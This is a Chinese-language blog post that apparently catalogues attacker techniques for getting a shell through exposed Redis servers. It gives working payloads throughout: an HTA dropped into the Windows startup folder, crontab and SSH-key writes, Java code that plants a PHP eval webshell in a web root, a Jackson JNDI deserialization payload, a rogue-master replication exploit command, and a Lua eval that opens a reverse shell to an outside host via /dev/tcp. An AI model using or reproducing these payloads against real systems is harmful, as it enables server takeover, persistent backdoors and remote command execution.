细数 redis 的几种 getshell 方法

哔哔两句

在我以往对 redis 服务的渗透经验中总结了以下几点可以 getshell 的方法。

  • 写文件

    • 特殊文件

      • Windows

        • 开机自启动目录
      • Linux

        • crontab
        • SSH key
    • webshell
  • 反序列化

    • java 反序列化

      • jackson
      • fastjson
      • jdk/Hessian 反序列化
    • python 反序列化
    • php 反序列化
  • 主从复制 RCE
  • Lua RCE

下面我会逐一对这几种redis getshell的方法展开讲解

写文件

写文件这个功能其实就是通过修改 redis 的 dbfilename、dir 配置项。

通常来说掌控了写文件也就完成了 rce 的一半。

这几种写文件来 getshell 的方式也是最有效最简单的。

写开机自启动

在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

我把这段JS执行 calc 命令的代码写到了该目录下

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta

当系统启动时就会随之运行,从而执行攻击者的恶意代码。

1585838342(1).jpg

crontab

在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。

/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx

注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。

1585895959(1).jpg

SSH Key

linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/

只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了

1585898099(1).jpg

webshell

这种方法就不用再多讲了,只要知道 web 绝对路径并且权限足够就可以写个 webshell。

写 webshell 的代码在 cn.b1ue.redis.filewrite.Webshell 类。

public class Webshell {

    public static void main(String[] args) {

        Jedis jedis = new Jedis("127.0.0.1", 6379);
        jedis.flushAll();
        jedis.set("x", "\n\n<?php eval($_REQUEST['x']); ?>\n\n");
        jedis.configSet("dir","/home/web/wwwroot/");
        jedis.configSet("dbfilename","x.php");
        jedis.save();
        jedis.close();

    }

}

反序列化

我在看其他人写的一些关于 redis getshell 的文章中都没有提到过 redis 反序列化的问题,所以这篇文章重点写一下。

其实 redis 反序列化本质上不是 redis 的漏洞,而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞,redis 本就是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。

我举例两个常见场景

1) java 程序要将用户登录后的 session 对象序列化缓存起来,这种场景是最常见的。

2) 程序员经常会把 redis 和 ORM 框架整合起来,一些频繁被查询的数据就会被序列化存储到 redis 里,在被查询时就会优先从 redis 里将对象反序列化一遍。

redis 一般存储的都是 java 序列化对象,php、python 比较少见,我见得比较多的就是 fastjson 和 jackson 类型的序列化数据。jdk 原生的序列化数据也有。

因为要从 redis 反序列化对象,在对象类型非单一或少量的情况下程序员通常会选择开启 jackson 的 defaulttyping 和 fastjson 的 autotype,所以这也就是为什么可以通过反序列化 getshell 的原因。

序列化数据类型分辨起来也很简单

  • jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如["com.blue.bean.User",xxx]
  • fastjson:关注有没有 @type 字段
  • jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名

所以以后如果再遇到 redis 服务器的时候写文件没法 getshell,不妨把 redis 的数据挑几个看看,是不是符合序列化数据的特征。

fastjson 和 jackson 都一样,所以只举例一个

jackson 反序列化

查看 redis 里的数据是 jackson 的格式可以考虑将这些 value 改成恶意的反序列化代码。当使用这个 redis 服务的 java 应用要从中取出缓存对象就会触发反序列化。

为了更贴近真实场景,我这里写了一个 springboot+redis+jackson 整合的 demo。

RedisConfig.java也是网上拷的,大多数程序员都是使用的这种方式与 redis 整合。

这里只用关注一个细节,在jackson2JsonRedisSerializer()方法中由于反序列化的对象类型的不确定性以及对 redis 的盲目信任通常都会开启defaulttyping

1586424139(1).jpg

TestController.java 里写了两个接口,login 接口会把 User 对象直接存储到 redis。home 接口会将 username 参数当做 key 去 redis 里查询。

在“存储”和“查询”的时候实际上就是在“序列化”与“反序列化”。

正常情况下,逻辑是这样的。

调用login接口 -> 序列化User对象并存储到redis -> 调用home接口 -> 从redis取出数据并反序列化

假设我有 redis 的权限,那么我只要先调用登录接口让 login 接口序列化 User 对象到 redis,再把 redis 里的这条序列化数据篡改成准备好的恶意反序列化数据。当我再去访问 home 接口时,从 redis 中取出来的 value 也就是被我篡改后的反序列化代码,从而导致触发了反序列化漏洞。

搞明白了这些逻辑,就可以做一个简单的实验。

1586490432(1).jpg

这是正常情况下序列化与反序列化的情况,这里要做的就是把 key 为blue的值替换成恶意的反序列化代码。

["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1099/Exploit"}]

1586492949(1).jpg

当再次反序列化的时候就触发了 JNDI 连接请求。

jdk 反序列化

jdk类型的反序列化数据也是在 redis 存储内容中比较常见的。

开发者通常会把他们编码成 base64 再存储。

和 Jackson 一个道理,篡改 redis 里面的反序列化数据,把恶意的序列化字节码存储进去,等 java 应用使用到它的时候就会反序列化触发漏洞。

1585902821(1).jpg

主从复制 RCE

这是去年曝出来的 redis rce 方法,具体细节可以参考《15-redis-post-exploitation.pdf》

exploit 参考这两个 github 项目,Ridter/redis-rcen0b0dyCN/redis-rogue-server

可影响版本范围 <=5.0.5 ,我这里用 redis-rogue-server 做演示,里面有已经编译好的 exp.so

直接执行命令即可得到一个正向 shell

python redis-rogue-server.py --rhost 192.168.91.147 --lhost 192.168.91.1

1585892556(1).jpg

Lua RCE

这种方法一直有流传但没有见到多少人写过关于 Lua RCE 的资料。

redis Lua RCE 漏洞的 exploit 在[email protected]的一个 github 项目 QAX-A-Team/redis_lua_exploit

这里主要以演示 getshell 为主,关于这个漏洞的分析细节可以参考《在Redis中构建Lua虚拟机的稳定攻击路径》

我准备的环境如下。

Centos 6.5 + redis 2.6.16

下载 QAX-A-Team/redis_lua_exploit ,修改redis_lua.py里的 host 为目标 IP。

1586354038(1).jpg

执行后得到这个提示说明可以执行命令了,通过redis-cli连接到目标 redis ,执行eval "tonumber('id', 8)" 0这段 lua,目标服务器就会执行id命令。

1586354265(1).jpg

也可以直接反弹 shell。

eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0

写在最后

我已将上文用到的代码上传到了 github,请参考 iSafeBlue/redis-rce

参考

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。